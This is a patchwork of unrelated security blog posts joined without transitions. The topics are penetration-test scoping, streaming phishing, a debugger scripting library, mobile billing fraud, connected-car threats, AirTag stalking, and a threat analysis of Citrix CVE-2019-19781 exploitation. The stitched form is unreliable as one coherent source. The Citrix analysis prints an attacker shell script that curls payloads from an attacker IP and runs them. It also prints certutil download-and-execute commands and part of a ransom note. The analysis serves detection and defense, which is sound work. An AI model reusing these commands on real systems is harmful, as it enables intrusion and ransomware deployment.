Individuals could attempt to\nhinder a penetration test by placing undue restrictions on the scope\nof systems assessed, the types of tools that can be used, or the\ntiming of the test.
Even if compliance is a motivating\nfactor, we hope you're able to take advantage of the opportunity\npenetration testing provides to determine where vulnerabilities lie\nand make your systems more secure.
That is the real value that\npenetration testing can provide.
Finally, if you are getting\na penetration test to comply with requirements imposed on your\norganization, that will often drive some of the answers to later\nquestions about the type and scope of the test.
Keep in mind that\nstandards only dictate minimum requirements, however, so you should\nalso consider additional penetration testing activities beyond the\n\"bare minimum.\" Who There are really two \"who\" questions to\nconsider, but for now we will just deal with the first: Who are the\nattackers that concern you?
Are they: Random\nindividuals on the Internet?
Specific threat actors, such\nas state-sponsored attackers, organized criminals, or hacktivist\ngroups?
An individual or malware that is behind the\nfirewall and on your internal corporate network?
Your own\nemployees (\"insider threats\")?
Your customers\n(or attackers who may compromise customers'\nsystems/accounts)?
Your vendors, service providers, and\nother business partners (or attackers who may have compromised\ntheir systems)?
The answer to this will help drive\nthe type of testing to be performed and the types of test user\naccounts (if any) to provision.
The next section will describe some\npossible penetration test types, but it's helpful to also discuss\nthe types of attackers you would like the penetration test to\nsimulate.
What What type of penetration test do you want\nperformed?
For organizations new to penetration testing, we\nrecommend starting with an external network penetration test, which\nwill assess your Internet-accessible systems in the same way that an\nattacker anywhere in the world could access them.
Beyond that, there\nare several options: Internal network penetration test\n- A penetration test of your internal corporate network.
Typically\nwe start these types of assessments with only a network connection\non the corporate networks, but a common variant is what we call an\n\"Insider Threat Assessment,\" where we start with one of\nyour standard workstations and a standard user account.
Web application security assessment - A review of custom web\napplication code for security vulnerabilities such as access\ncontrol issues, SQL injection, cross-site scripting (XSS) and\nothers.
These are best done in a test or development environment\nto minimize impact to the production environment.
Social\nengineering - Using deceptive email, phone calls, and/or physical\nentry to gain access to systems.
Wireless penetration\ntest - A detailed security assessment of wireless network(s) at\none or more of your locations.
This typically includes a survey of\nthe location looking for unauthorized (\"rogue\") wireless\naccess points that have been connected to the corporate network\nand are often insecurely configured.
If budgets were\nnot an issue, you would want to do all of the above, but in reality\nyou will need to prioritize your efforts on what makes sense for\nyour organization.
Keep in mind that the best approach may change\nover time as your organization matures.
Where In what physical location should the test take\nplace?
Many types of penetration testing can be done remotely, but\nsome require the testers to visit your facility.
Physical social\nengineering engagements and wireless assessments clearly need to be\nperformed at one (or more) of your locations.
Some internal\npenetration tests can be done remotely via a VPN connection, but we\nrecommend conducting them at your location whenever possible.
If\nyour internal network has segmentation in place (as we recommend),\nthen you should work with your penetration testing organization to\ndetermine the best physical location for the test to be performed.\nGenerally, you'll want to do the internal penetration test from a\nnetwork segment that has broad access to other portions of the\ninternal network in order to get the best coverage from the\ntest.
Another \"Where\" to consider for remote testing\nis where the testers are physically located.
When testers are in a\ndifferent country than you, legal issues can arise with data\nprovisioning and accessibility.
Differences in language, culture,\nand time zones could also make coordination and interpretation of\nresults more difficult.
When We recommend that most organizations get some\nsort of security assessment on an annual basis, but that security\nassessment does not necessarily need to be a penetration test (see Penetration\nTesting Has Come Of Age - How to Take Your Security Program to the\nNext Level ).
Larger organizations may have multiple\nassessments per year, each focused in a different area.
Within the year, the timing of the penetration test is usually\npretty flexible.
You will want to make sure that the right people\nfrom your organization are available to initiate and manage the test\n- and to receive results and begin implementing changes.
Based on\nyour organization's change control procedures, you may need to work\naround system freezes or other activities.
Testing in December can\nbe difficult due to holidays and vacation, along with year-end\ncloseout activities, especially for organizations in retail,\ne-commerce, and payment processing.
If you have significant\nupgrades planned for the systems that will be tested, it is\ntypically best to schedule the test for a month or two after the\nupgrades are due to be finished.
This will allow some time for the\ninevitable delays in deploying the upgrades as well give the\nupgraded systems (and their administrators) a bit of time to\n\"settle in\" and get fully configured before being\ntested.
Who (part 2)
The other \"who\" question to\nconsider is who will perform the penetration test?
We recommend\nconsidering the following when selecting a penetration testing\nprovider: What are the qualifications of the organization\nand the individuals who will be performing the test?
What\ndifferentiates them from other providers?
To what degree\ndoes their testing rely on automated vulnerability scanners vs.\nhands on manual testing?
How well do they understand the\nthreat actors that are relevant to your environment?
How well are\nthey able to emulate real world attacks?
What\ndeliverables will you receive from the test?
Are they primarily\nthe output of an automated tool?
Ask for samples.
Are\nthey unbiased?
Do they use penetration tests as a means to sell or\nresell other products and services?
No doubt, there\nare other questions that you will want to consider when scoping a\npenetration test, but we hope that these will help you get started.\nIf you'd like to read more about Mandiant's penetration testing (and\nother) services, you can do so here .
Of course,\nalso feel free to contact\nus if you'd like to talk about your situation and how Mandiant\ncan best assess your organization's security.
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Movies and TV shows have been a huge source of comfort for many in these COVID times, and the number of new shows on Netflix, Amazon Prime, and the like has skyrocketed.
But when searching for the latest megahit, don’t neglect basic security measures or you might find that someone else is enjoying it at your expense — or worse, that the money in your bank account has evaporated.
It’s more fun to ponder what to watch next than to dig through security settings, but attackers are ready and waiting to siphon off your personal and payment information.
Phishing bait Streaming services offer a variety of payment plans, but generally they all involve paying with a credit card.
And where there are card details, there is phishing.
What’s more, newbies and seasoned account holders may experience different forms of bait.
We collected some examples from users who agreed to share threat information.
“Subscribe now!”
To sign up for a streaming service, you need a valid e-mail address; and to pay, you need some form of online payment such as a credit card or PayPal account.
(If you plan to watch Apple TV, you’ll also need an Apple ID.)
Unsurprisingly, cybercriminals have created fake sign-up pages to net all of those goodies in one go.
Armed with your info, they can withdraw or spend your money right away; your e-mail address should come in handy for future attacks.
In the example below, the fake site is not very convincing.
Can you spot the phishing signs ?
Fake Netflix sign-up page “Refresh data”
If you already have a paid subscription, then attackers will threaten to block it, assuming, logically, that you value it.
Here’s an e-mail from “friends at Netflix,” telling the recipient to update or confirm payment details or they’ll close the account.
And it includes a big, red button.
Don’t rush to click that — remember what happens in the movies when they push the big, red button?
“Dear costumer, please update your account”
The link takes you to a payment confirmation page.
Now, many phishing messages contain such obvious mistakes as addressing “costumers,” but take the form below as an example that actually looks plausible.
It has no spelling mistakes or weird design elements, but the inattentive user who falls for it could lose money from their bank account.
Fake Netflix website prompts to enter personal and banking data, allegedly for account reactivation A dangerous premiere
In the example below, cybercriminals used popular shows to attract fans who didn’t have subscriptions, offering them the opportunity to watch the shows on the fake website.
This unofficial page invites fans to watch or download The Mandalorian As a teaser, they show a short clip, which they sometimes try to pass off as a new, previously unaired episode.
More often than not, it is cut from trailers that have long been in the public domain.
Intrigued victims are then asked to buy a low-cost subscription to continue watching.
What follows is a classic scenario: Any payment details users enter go straight to the crooks, and the never-before-seen episode remains such.
No longer your account Cybercriminals are interested in more than bank account details; account credentials for streaming services are also hot.
Because hijacked accounts with paid subscriptions get put up for sale on the dark web , you could log in one day and discover someone else is already there.
After all, depending on your Netflix plan, you can stream on 1–4 devices simultaneously, and cybercriminals can sell your login credentials to any number of streamers.
That means you might find yourself having to wait in line until some stranger decides to sign out.
This fake Netflix login page looks just like the real one That may not be the end of it, either: Many people use the same password for different accounts , and databases of stolen passwords die hard.
If their password is the same everywhere, the victim need only enter it on a phishing page once.
Buy a subscription for yourself, not cybercriminals Cybercriminals scam movie and TV show lovers in different ways.
Some of their ruses are quite easy to spot, others less so.
By following simple digital security rules, you can protect your data not only in online movie theaters, but elsewhere as well.
Do not click links in e-mails, even if a message seems to be from a real streaming (or other) service; always go to the official website by entering the address manually or through the app; Do not trust any person or site promising viewings of movies or shows before the official premiere; Pay attention to red flags that warn of phishing e-mails or fake websites; Stay alert and read more about scams and phishing schemes to learn how to sense which e-mails and websites are trustworthy, and which you should avoid; Use different passwords for all accounts that you value, and use a password manager to remember them for you; Use a reliable security solution that identifies malicious attachments and blocks phishing websites.
Introduction We are expanding our script series beyond IDA Pro.
This post extends the FireEye Labs Advanced Reverse Engineering (FLARE) script series to an invaluable tool for the reverse engineer – the debugger.
Just like IDA Pro, debuggers have scripting interfaces.
For example, OllyDbg uses an asm-like scripting language, the Immunity debugger contains a Python interface, and Windbg has its own language.
Each of these options isn’t ideal for rapidly creating string decoding debugger scripts.
Both Immunity and OllyDbg only support 32-bit applications, and Windbg’s scripting language is specific to Windbg and, therefore, not as well-known.
The pykd project was created to interface between Python and Windbg to allow debugger scripts to be written in Python.
Because malware reverse engineers love Python, we built our debugger scripting library on top of pykd for Windbg.
Here we release a library we call flare-dbg .
This library provides several utility classes and functions to rapidly develop scripts to automate debugging tasks within Windbg.
Stay tuned for future blog posts that will describe additional uses for debugger scripts!
String Decoding Malware authors like to hide the intent of their software by obfuscating their strings.
Quickly deobfuscating strings allows you to quickly figure out what the malware is doing.
As stated in Practical Malware Analysis, there are generally two approaches to deobfuscating strings: self-decoding and manual programming.
The self-decoding approach allows the malware to decode its own strings.
Manual programming requires the reverse engineer to reprogram the decoding function logic.
A subset of the self-decoding approach is emulation, where each assembly instruction execution is emulated.
Unfortunately, library call emulation is required, and emulating every library call is difficult and may cause inaccurate results.
In contrast, a debugger is attached to the actual running process, so all the library functions can be run without issue.
Each of these approaches has their place, but this post teaches a way to use debugger scripting to automatically self-decode all obfuscated strings.
Challenge To decode all obfsucated strings, we need to find the following: the string decoder function, each time it is called, and all arguments to each of those instances.
We then need to run the function and read out the result.
The challenge is to do this in a semi-automated way.
Approach The first task is to find the string decoder function and get a basic understanding of the inputs and outputs of the function.
The next task is to identify each time the string decoder function is called and all of the arguments to each call.
Without using IDA, a handy Python project for binary analysis is Vivisect .
Vivisect contains several heuristics for identifying functions and cross-references.
Additionally, Vivisect can emulate and disassemble a series of opcodes, which can help us identify function arguments.
If you haven’t already, be sure to check out the FLARE scripting series post on tracking function arguments using emulation , which also uses Vivisect.
Introducing flare-dbg The FLARE team is introducing a Python project, flare-dbg that runs on top of pykd.
Its goal is to make Windbg scripting easy.
The heart of the flare-dbg project lies in the DebugUtils class, which contains several functions to handle: ·      Memory and register manipulation ·      Stack operations ·      Debugger execution ·      Breakpoints ·      Function calling In addition to the basic debugger utility functions, the DebugUtils class uses Vivisect to handle the binary analysis portion.
Example I wrote a simple piece of malware that hides strings by encoding them.
Figure 1 shows an HTTP User-Agent string being decoded by a function I named string_decoder.
Figure 1: String decoder function reference in IDA Pro After a cursory look at the string_decoder function, the arguments are identified as an offset to an encoded string of bytes, an output address, and a length.
The function can be described as the following C prototype: Now that we have a basic understanding of the string_decoder function, we test decoding using Windbg and flare-dbg.
We begin by starting the process with Windbg and executing until the program’s entry point.
Next, we start a Python interactive shell within Windbg using pykd and import flaredbg.
Next, we create a DebugUtils object, which contains the functions we need to control the debugger.
We then allocate 0x3A-bytes of memory for the output string.
We use the newly allocated memory as the second parameter and setup the remainder of the arguments.
Finally, we call the string_decoder function at virtual address 0x401000, and read the output string buffer.
After proving we can decode a string with flare-dbg , let’s automate all calls to the string_decoder function.
An example debugger script is shown in Figure 2.
The full script is available in the examples directory in the github repository.
Figure 2.
Example basic debugger script Let’s break this script down.
First, we identify the function virtual address of the string decoder function and create a DebugUtils object.
Next, we use the DebugUtils function get_call_list to find the three push arguments for each time string_decoder is called.
Once the call_list is generated, we iterate all calling addresses and associated arguments.
In this example, the output string is decoded to the stack.
Because we are only executing the string decoder function and won’t have the same stack setup as the malware, we must allocate memory for the output string.
We use the third parameter, the length, to specify the size of the memory allocation.
Once we allocate memory for the output string, we set the newly allocated memory address as the second parameter to receive the output bytes.
Finally, we run the string_decoder function by using the DebugUtils call function and read the result from our allocated buffer.
The call function sets up the stack, sets any specified register values, and executes the function.
Once all strings are decoded, the final step is to get these strings back into our IDB.
The utils script contains utility functions to create IDA Python scripts.
In this case, we output an IDA Python script that creates comments in the IDB.
Running this debugger script produces the following output: The output IDA Python script creates repeatable comments on all encoded string locations, as shown in Figure 3.
Figure 3.
Decoded string as comment Conclusion Stay tuned for another debugger scripting series post that will focus on plugins!
For now, head over to the flare-dbg github project page to get started.
The project requires pykd , winappdbg , and vivisect .
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By Raj Samani on Jun 27, 2018 Are you tired yet of the music track “Despacito”?
If you downloaded this ringtone app from Google Play, chances are your answer is a resounding
Yes.
But it gets worse: The McAfee Mobile Research team recently found 15 apps on Google Play that were uploaded by the AsiaHitGroup Gang.
The ringtone app was one of them—downloaded 50,000 times from the official app store—that were designed to steal money from their victims.
The AsiaHitGroup Gang has been active since at least 2016, attempting to charge 20,000 victims for the download of popular mobile applications containing the fake-installer app Sonvpay.
A.
For more analysis, see the Mobile Research team’s post.
Ordinarily we advise users to review the requested permissions before installing a mobile app, and normally this is enough.
In this case, the only permission requested was access to SMS messages, and once installed the app behaved as expected.
In the background, however, Sonvpay silently used the push notification service to subscribe users to premium-rate services.
This campaign displays a significant level of customization.
The criminals can tailor their fraud to the country of their choosing.
In our analysis we looked at mobile billing fraud targeting users in Kazakhstan, Malaysia, and Russia.
In Kazakhstan victims are subscribed to a premium-rate service whereas in Malaysia and Russia they are connected to a WAP billing service.
Further, the criminals recognize that in Malaysia the mobile operator sends a PIN code, so the attackers include functionality to intercept the SMS.
Once intercepted, the app communicates with the mobile operator to subscribe to the service.
This group began targeting users in Asia, but the move to Russia shows its increasing ambition.
The goal of the AsiaHitGroup Gang remains the same, but the manner in which they attempt to achieve their ends differs per campaign, and their techniques are improving.
Although the security industry focuses much attention on “loud” and destructive attacks, many campaigns quietly steal funds from unsuspecting victims or those who have little visibility into what is happening.
An Ever-Evolving Threat Since January 10, 2020, FireEye has tracked extensive global exploitation of CVE-2019-19781, which continues to impact Citrix ADC and Gateway instances that are unpatched or do not have mitigations applied .
We previously reported on attackers’ swift attempts to exploit this vulnerability and the post-compromise deployment of the previously unseen NOTROBIN malware family by one threat actor.
FireEye continues to actively track multiple clusters of activity associated with exploitation of this vulnerability, primarily based on how attackers interact with vulnerable Citrix ADC and Gateway instances after identification.
While most of the CVE-2019-19781 exploitation activity we’ve observed to this point has led to the deployment of coin miners or most commonly NOTROBIN, recent compromises suggest that this vulnerability is also being exploited to deploy ransomware.
If your organization is attempting to assess whether there is evidence of compromise related to exploitation of CVE-2019-19781, we highly encourage you to use the IOC Scanner co-published by FireEye and Citrix , which detects the activity described in this post.
Between January 16 and 17, 2020, FireEye Managed Defense detected the IP address 45[.]120[.]53[.
]214 attempting to exploit CVE-2019-19781 at dozens of FireEye clients.
When successfully exploited, we observed impacted systems executing the cURL command to download a shell script with the file name ld.sh from 45[.]120[.]53[.
]214 (Figure 1).
In some cases this same shell script was instead downloaded from hxxp://198.44.227[.
]126:81/citrix/ld.sh .
Figure 1: Snippet of ld.sh, downloaded from 45.120.53.214
The shell script, provided in Figure 2, searches for the python2 binary (Note: Python is only pre-installed on Citrix Gateway 12.x and 13.x systems) and downloads two additional files to the system: piz.
Lan , a XOR-encoded data blob, and de.py , a Python script, to a temporary directory.
This script then changes permissions and executes de.py , which subsequently decodes and decompresses piz.
Lan .
Finally, the script cleans up the initial staging files and executes scan.py , an additional script we will cover in more detail later in the post.
#!/bin
/sh rm $0 if [ !
-f \"/var/python/bin/python2\" ]; then echo 'Exit' exit fi mkdir /tmp/rAgn cd /tmp/
rAgn curl hxxp://45[.]120[.]53[.
]214/piz.
Lan -o piz.
Lan sleep 1 curl hxxp://45[.]120[.]53[.
]214/de
-o de.py chmod 777 de.py /var/
python/bin/python2 de.py rm de.py rm piz.
Lan rm .new.zip cd httpd /var/python/bin/python2 scan.py -n 50 -N 40 & Figure 2: Contents of ld.sh, a shell-script to download additional tools to the compromised system piz.
Lan -> .net.zip
Armed with the information gathered from de.py , we turned our attention to decoding and decompressing “ .net.zip ”
(MD5: 0caf9be8fd7ba5b605b7a7b315ef17a0).
Inside, we recovered five files, represented in Table 1: Filename Functionality MD5 x86.dll 32-bit Downloader 9aa67d856e584b4eefc4791d2634476a x64.dll 64-bit Downloader 55b40e0068429fbbb16f2113d6842ed2 scan.py Python socket scanner b0acb27273563a5a2a5f71165606808c xp_eternalblue.replay Exploit replay file 6cf1857e569432fcfc8e506c8b0db635 eternalblue.replay Exploit replay file 9e408d947ceba27259e2a9a5c71a75a8 Table 1: Contents of the ZIP file \".new.zip\", created by the script de.py The contents of the ZIP were explained via analysis of the file scan.py , a Python scanning script that would also automate exploitation of identified vulnerable system(s).
Our initial analysis showed that this script was a combination of functions from multiple open source projects or scripts.
As one example, the replay files, which were either adapted or copied directly from this public GitHub repository, were present in the Install_Backdoor function, as shown in Figure 3: Figure 3: Snippet of scan.py showing usage of EternalBlue replay files This script also had multiple functions checking whether an identified system is 32- vs. 64-bit, as well as raw shell code to step through an exploit.
The exploit_main function, when called, would appropriately choose between 32- or 64-bit and select the right DLL for injection, as shown in Figure 4.
Figure 4: Snippet of scan.py showing instructions to deploy 32- or 64-bit downloaders I Call Myself
Ragnarok Our analysis continued by examining the capabilities of the 32- and 64-bit DLLs, aptly named x86.dll and x64.dll .
At only 5,120 bytes each, these binaries performed the following tasks (Figure 5 and Figure 6): Download a file named patch32 or patch64 (respective to operating system bit-ness) from a hard-coded URL using certutil , a native tool used as part of Windows Certificate Services (categorized as Technique 11005 within MITRE’s ATT&CK framework ).
Execute the downloaded binary since1969.exe , located in C:\\Users\\Public .
Delete the URL from the current user’s certificate cache.
certutil.exe -urlcache -split -f hxxp://45.120.53[.
]214/patch32 C:/Users/Public/since1969.exe cmd.exe /c
C:/Users/Public/since1969.exe certutil -urlcache -f hxxp://45.120.53[.
]214/patch32 delete Figure 5: Snippet of strings from x86.dll certutil.exe -urlcache -split -f hxxp://45.120.53[.
]214/patch64 C:/Users/Public/since1969.exe cmd.exe /c
C:/Users/Public/since1969.exe certutil -urlcache -f hxxp://45.120.53[.
]214/patch64 delete Figure 6: Snippet of strings from x64.dll
Although neither patch32 nor patch64 were available at the time of analysis, FireEye identified a file on VirusTotal with the name avpass.exe (MD5: e345c861058a18510e7c4bb616e3fd9f) linked to the IP address 45[.]120[.]53[.
]214 (Figure 8).
This file is an instance of the publicly available Meterpreter backdoor that was uploaded on November 12, 2019.
Additional analysis confirmed that this binary communicated to 45[.]120[.]53[.
]214 over TCP port 1234.
Figure 7: VirusTotal graph showing links between resources hosted on or communicating with 45.120.53.214 Within the avpass.exe binary, we found an interesting PDB string that provided more context about the tool’s author: “ C:\\Users\\ragnarok\\source\\repos\\avpass\\Debug\\avpass.pdb ”.
Utilizing ragnarok as a keyword, we pivoted and were able to identify a separate copy of since1969.exe (MD5: 48452dd2506831d0b340e45b08799623) uploaded to VirusTotal on January 23, 2020.
The binary’s compilation timestamp of January 16, 2020, aligns with our earliest detections associated with this threat actor.
Further analysis and sandboxing of this binary brought all the pieces together—this threat actor may have been attempting to deploy ransomware aptly named ‘Ragnarok’.
We’d like to give credit to this Tweet from Karsten Hahn, who identified ragnarok-related about artifacts on January 17, 2020, again aligning with the timeframe of our initial detection.
Figure 8 provides a snippet of files created by the binary upon execution.
Figure 8:
Ragnarok-related ransomware files The ransom note dropped by this ransomware, shown in Figure 11, points to three email addresses.
6.it's wise to pay as soon as possible it wont make you more losses the ransome: 1 btcoin for per machine,5 bitcoins for all machines how to buy bitcoin and transfer?
i think you are very good at googlesearch asgardmaster5@protonmail[.
]com ragnar0k@ctemplar[.
]com j.jasonm@yandex[.
]com
Attention:if you wont pay the ransom in five days, all of your files will be made public on internet and will be deleted Figure 9: Snippet of ransom note dropped by “since1969.exe” Implications FireEye continues to observe multiple actors who are currently seeking to take advantage of CVE-2019-19781.
This post outlines one threat actor who is using multiple exploits to take advantage of vulnerable internal systems and move laterally inside the organization.
Based on our initial observations, the ultimate intent may have been the deployment of ransomware, using the Gateway as a central pivot point.
As previously mentioned, if suspect your Citrix appliances may have been compromised, we recommend utilizing the tool FireEye released in partnership with Citrix .
Detect the Technique Aside from CVE-2019-19781, FireEye detects the activity described in this post across our platforms, including named detections for Meterpreter, and EternalBlue.
Table 2 contains several specific detection names to assist in detection of this activity.
Signature Name CERTUTIL.EXE DOWNLOADER (UTILITY) CURL Downloading Shell Script ETERNALBLUE EXPLOIT METERPRETER (Backdoor) METERPRETER URI (STAGER) SMB - ETERNALBLUE Table 2: FireEye Detections for activity described in this post Indicators Table 3 provides the unique indicators discussed in this post.
Indicator Type Indicator Notes Network 45[.]120[.]53[.
]214 Network 198[.]44[.]227[.
]126
Host 91dd06f49b09a2242d4085703599b7a7 piz.
Lan Host 01af5ad23a282d0fd40597c1024307ca de.py Host bd977d9d2b68dd9b12a3878edd192319 ld.sh Host 0caf9be8fd7ba5b605b7a7b315ef17a0 .new.zip
Host 9aa67d856e584b4eefc4791d2634476a x86.dll
Host 55b40e0068429fbbb16f2113d6842ed2 x64.dll Host b0acb27273563a5a2a5f71165606808c
scan.py
Host 6cf1857e569432fcfc8e506c8b0db635 xp_eternalblue.replay Host 9e408d947ceba27259e2a9a5c71a75a8 eternalblue.replay Host e345c861058a18510e7c4bb616e3fd9f avpass.exe
Host 48452dd2506831d0b340e45b08799623 since1969.exe Email Address asgardmaster5@protonmail[.
]com
From ransom note Email Address ragnar0k@ctemplar[.
]com
From ransom note Email Address j.jasonm@yandex[.
]com
From ransom note Table 3: Collection of IOCs from this blog post Subscribe to Blogs Get email updates as new blog posts are added.
As vehicles become both increasingly complex and better connected to the Internet, their newfound versatility may be manipulated for malicious purposes.
Three of the most concerning potential threats looking ahead to the next few years are those posed by manipulating vehicle operation , ransomware and using vehicular systems as command and control (C2) infrastructure for illicit cyber activity.
Car Hacking?
Vehicles have come a long way in terms of the high-tech features and connectivity that come standard in most new models.
Modern cars are controlled almost entirely by software, and many drivers don’t realize the most complex digital device they own may be in their driveway .
Of the growing number of devices in the “Internet of Things” (IoT), vehicles are among the most significant additions to the global Internet.
An ever-growing list of features—including web browsing, Wi-Fi access points, and remote-start mobile phone apps—enhance user enjoyment, but also greatly expand vehicles’ attack surface, rendering them potentially vulnerable to advanced attacks.
During the past year especially, numerous proof-of-concept demonstrations have revealed connected-car vulnerabilities that malicious actors can exploit, ranging from unauthorized entry to commandeering the vehicle’s operation .
Unfortunately, as consumer demand drives ever more features, the opportunities for compromise will increase as well.
Ransomware The scourge of ransomware has so far affected thousands of systems belonging to ordinary individuals, hospitals, and police stations.
A vehicle’s increased connectivity, ever-expanding attack surface, and high upfront cost make them attractive ransomware targets.
In contrast to ransomware that infects ordinary computer systems, vehicles are more likely susceptible to ransomware attacks when their disablement causes knock-on effects.
For example, where a single driver might be able to reinstall his car’s software with the help of a mechanic to remedy a ransomware infection, a group of vehicles disabled on a busy highway could cause far more serious disruption.
Victims or municipal authorities may have little choice but to pay the ransom to reopen a busy commuting route.
Alternatively, a logistics company might suddenly find a large portion of its truck fleet rendered useless by ransomware.
The potential for lost revenue due to downtime might pressure the company to pay the ransom rather than risk more significant financial losses.
Malicious C2 and Final Hop Points One effective law enforcement tactic in countering cyber espionage and criminal campaigns is identifying, locating and seizing the systems threat actors use to route malicious traffic through the Internet.
Since many modern vehicles can be better described as a computer attached to four wheels and an engine, their mobility and power present challenges to this means of countering threat activity.
We have already witnessed malware designed to hijack IoT devices for malicious purposes; vehicular systems’ greater computing power, compared to connected home thermostats, can significantly enhance their value as a C2 node .
Locating vehicles used to route malicious traffic would present a major challenge to law enforcement investigation, largely due to their mobility.
We have not yet observed threat actors using connected vehicle systems to route malicious traffic, but it is most likely that a vehicle would be used as a final hop point to the intended target network.
The perpetrators may use the vehicle only once, choosing to hijack the connectivity of a different vehicle on their next operation, and so on.
This ever-changing roster of potential last-hop nodes situated on highly mobile platforms may allow threat actors to elude law enforcement for extended periods of time.
Understanding the Risk Landscape The impact of cyber threats is most often considered in financial terms—the cost of a breach, whether direct financial losses or indirect costs of investigation, remediation, and improved security.
As computers increasingly control vehicles, among other critical devices and systems, the potential for malfunction or manipulation that causes human harm rises dramatically.
Automobile manufacturers may face greater liability, not only for the car’s physical components, but its software as well.
How long before vehicles need a “cyber security rating,” similar to that awarded for crash testing and fuel economy?
These new risks point to the need for automotive manufacturers and suppliers to not only ensure the traditional operational safety of their vehicles, but to also secure both the vehicle's operations and occupant privacy.
This requires an ongoing understanding about the nature of threats and vulnerabilities in a rapidly evolving landscape, and building in strong proactive security measures to protect against these risks.
FireEye explores these risks to automotive safety in our latest FireEye iSIGHT Intelligence and Mandiant Consulting report: Connected Cars: The Open Road for Hackers .
The report is available for download here.
FireEye Capabilities FireEye combines our industry leading threat intelligence , incident response and red team capabilities with our ICS domain expertise to help the automotive industry improve their prevention, detection and response capabilities.
FireEye’s Red Team Operations and Penetration Tests can provide firms in the automotive industry experience responding to real-world attacks without the risk of negative headlines.
A one-time risk assessment is not enough, because threat attackers are consistently evolving.
For more information, contact FireEye .
FireEye iSIGHT Intelligence’s Horizons Team conducts strategic forecasting to anticipate risks posed by emerging technologies and geopolitical developments, helping clients and the public better assess their exposure to a dynamic cyber threat landscape.
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Apple’s AirTags have only been on the market since last spring, but they have already earned a bad reputation for being a way to facilitate criminal activity and track people without their permission.
In this article we look closely at how AirTags work and why they can be dangerous.
We also tell you how to protect yourself from being tracked with AirTags and from other types of cyberstalking.
How AirTags work Apple unveiled AirTags in April 2021 as devices that help search for easy-to-lose objects.
Inside an AirTag there is a board with a wireless module, along with a replaceable battery and a speaker which is actually rather large, and that’s really the bulk of the device.
Here’s how AirTags work in the simplest scenario: you stick the little fob on your keys, and if one day you’re running late for work and your keys are lost somewhere in your apartment, you activate search mode on your iPhone.
Using ultra-wideband (UWB) technology, the phone points you toward the AirTag, giving you helpful prompts like “hot” or “cold.”
In a more complicated scenario, suppose you’ve attached the AirTag to your backpack and one day you rush off the subway so fast you accidentally leave it behind.
Since you and your iPhone are already far away from your backpack when you realize you lost it, UWB won’t help you.
Now anyone who has a relatively modern Apple device — iPhone 7 and newer — can get involved.
Using Bluetooth, they detect the AirTag nearby and transmit approximate or specific coordinates to your Apple account.
Now you can use Apple’s Find My service to see where your backpack has ended up — such as in the lost-and-found office or with a new owner.
What’s key is that all of this happens automatically; you don’t even need to install anything.
Everything the AirTag search system needs to work is already built into the iOS of hundreds of millions of users.
But considering that Bluetooth has a maximum distance range of just a few dozen meters, this works only in large cities, where there are a lot of people with iPhones.
If your backpack ends up in a small town where all the residents use Android smartphones (or even the latest push-button phones that barely connect to the Internet ), it will be challenging to pin down the location of the AirTag.
In this case a third detection mechanism kicks in: if a few hours go by and the AirTag hasn’t had a connection with any iPhone, the built-in speaker starts playing a sound.
If the person who finds the item figures out how to connect their smartphone with NFC to the AirTag, the AirTag tells them the phone number of the item’s owner.
AirTags and shady business In theory, AirTags are a useful and, at $29 for one or $99 for a pack of four, a relatively inexpensive accessory for everyday tracking of easy-to-lose objects.
The technology can help you find your hidden keys or a bag you’ve left behind.
One example of a useful application that has been widely discussed over the last year is sticking an AirTag on a suitcase before getting on a plane.
On a number of occasions, travelers have been able to locate their lost baggage faster than the airline employees could.
But in practice, right after the device went on sale, reports started cropping up about how people used it in ways that were not completely legal, and there were even reports of overt criminal activity.
Here are the major examples.
An activist from Germany uncovered the location of a top-secret state agency after mailing it an envelope containing an AirTag.
A lot of people use such a tactic — which is more or less legal depending on the laws of a country — to track actual mail delivery routes, for example.
But it’s also possible to use an AirTag like the German activist did: if someone uses a PO Box to receive mail so they can keep their real address private, a piece of mail that has an AirTag inside it will reveal the actual place of residence.
On a more serious note, in December 2021 the Canadian police investigated several incidents in which criminals used AirTags to steal cars.
They stuck an AirTag on a car in a public parking lot, used it to figure out where the owner lived, and then at night stole the car while it was parked in a suburb, a little further from potential witnesses.
Finally, there are many testimonials involving the use of AirTags to stalk women .
In this case, the perpetrators stick an AirTag on a woman’s car or slip it into her bag, and then they ascertain where she lives and see the routes she travels regularly.
AirTags contain protection against this kind of stalking: if the tag is constantly moving around while being far away from the iPhone it’s tied to, the built-in speaker starts beeping.
However, it didn’t take long for tinkerers to figure out that there’s a workaround: modified AirTags with the beeper disabled have recently started showing up on the market.
But this isn’t even the most frightful scenario.
In theory one can hack the AirTag and modify its behavior in the software.
Clear steps in this direction have already been made: For instance, last May a researcher successfully gained access to the device’s protected firmware.
This will be most dangerous for Apple and users if someone manages to exploit the network of hundreds of millions of iPhones to track people illegally without the knowledge of the manufacturer, the owners of the smartphones that are taking part in a search operation, and the victims themselves.
How dangerous AirTags are The most frightful scenario has not yet come to pass, and it is unlikely to — after all, Apple cares about the security of its own infrastructure.
You also need to keep in mind that there are other devices similar to AirTags.
Various legal and illegal tracking devices have existed for over a decade.
Moreover, even consumer tags with similar functionality to AirTags have been on the market for a long time.
Tile released its tags in 2013, and they also offer ways to search for lost objects over a large distance by applying the same principle as AirTags.
Of course, this company probably won’t be able to achieve “coverage” from hundreds of millions of iPhones.
In addition, devices like these cost money — sometimes a lot of money — and they are relatively easy to detect.
In the case of AirTags, they need to be connected to an Apple account, which is hard to create anonymously without providing a real name and usually a credit card number.
If the police report a case of illegal tracking, Apple turns over this data — admittedly, you need to convince the police to request such data, and according to testimonials by victims in different countries, this doesn’t always happen.
Ultimately, it’s the same story we always see: AirTags are a handy piece of technology that criminals can also use for malicious purposes.
Apple didn’t invent cyberstalking, but it did come up with a convenient technology that enables people to engage in illegal stalking.
That means that it’s the company’s responsibility to make it harder for people to use the device for objectionable purposes.
Once again, the closed ecosystem of Apple’s software and devices has come under criticism.
If you have an iPhone and someone has snuck an AirTag into your bag, your phone will notify you.
But what if you don’t have an iPhone?
For the time being, Apple has developed a band-aid solution by releasing an app for Android smartphones that you need to install to detect tracking.
The upshot is that Apple created a problem for everyone but offered a simple solution only to its own customers.
Everyone else needs to adjust somehow.
This month Apple tried to respond to the avalanche of criticism by issuing a long statement .
It acknowledged that before releasing AirTag it hadn’t envisioned all the ways of using it — whether legal or illegal.
It pledged to tell AirTag buyers more explicitly that AirTags are not to be used for tracking people.
It also plans to raise the volume of the beep that helps you find an AirTag someone has planted on your belongings.
This is laudable, but it doesn’t solve all the problems.
We hope that over time Apple will be able to clearly separate legal and illegal ways of using AirTags.
